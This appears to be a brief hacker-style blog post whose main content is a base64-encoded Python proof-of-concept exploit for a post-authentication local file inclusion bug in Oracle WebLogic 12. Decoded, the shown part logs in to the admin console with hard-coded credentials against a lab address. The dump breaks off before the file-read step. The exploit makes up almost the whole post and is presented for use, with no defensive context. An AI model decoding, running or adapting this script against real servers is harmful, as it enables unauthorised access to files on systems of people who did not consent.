Lost hope? Lost job? No-war-yes... :) "And until"...
TL;DR:
:|
|:
---My naked selfie---
c@box:~/_LABS/$ cat postauth_lfi_weblogic12.py | base64
IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwojIHBvc3RhdXRoX2xmaV93ZWJsb2dpYzEyLnB5CiMKIyAy
Ny4wNi4yMDIxIEAgMTg6MTAKIyAKIyBwb3N0YXV0aCBsZmkgcG9jIGZvciBidWcgZm91bmQgfjIg
d2Vla3MgYWdvIGR1cmluZyBzb21lIHJlc2VhcmNoCiMgCiMgWVd4cGJtOWxDZz09CiMgCgppbXBv
cnQgcmVxdWVzdHMsIHJlLCBzeXMKCgojIG1haW4gZGVmaW5lczoKYmFzZV91cmwgPSAnaHR0cDov
LzE3Mi4xNy4wLjI6ODAwMScKbG9naW5fdXJsID0gJy9jb25zb2xlL2pfc2VjdXJpdHlfY2hlY2sn
CmxvZ21lX2luID0geydqX3VzZXJuYW1lJzond2VibG9naWMnLCdqX3Bhc3N3b3JkJzonQWJjMTIz
NDY1Jywnal9jaGFyYWN0ZXJfZW5jb2RpbmcnOidVVEYtOCd9CnpkdF9saW5rID0gJy8uLi4nCgpz
ZXNzID0gcmVxdWVzdHMuU2Vzc2lvbigpCgojIGluaXQgcmVxdWVzdApwcmludCgiW2ldIHByZXBh
cmluZyBpbml0IHJlcXVlc3Qgd2l0aCBsb2dpbiBkYXRhLi4uIikKY2hlY2tfdXJsID0gYmFzZV91
cmwgKyBsb2dpbl91cmwKaW5pdF9yZXEgPSBzZXNzLnBvc3QoY2hlY2tfdXJsLCBkYXRhPWxvZ21l
X2luKQppbml0X3Jlc3AgPSBpbml0X3JlcS50ZXh0CmluaXRfY29kZSA9IGluaXRfcmVxLnN0YXR1
c19jb2RlCgpwcmludCgiWytdIGN1cnJlbnQgdGVzdCBmb3IgdGFyZ2V0IFVSTDogJXMiICUgY2hl
Y2tfdXJsKQoKcHJpbnQoIlsrXSBjdXJyZW50IGhpc3RvcnkgZm9yIGxvZ21lX2luIH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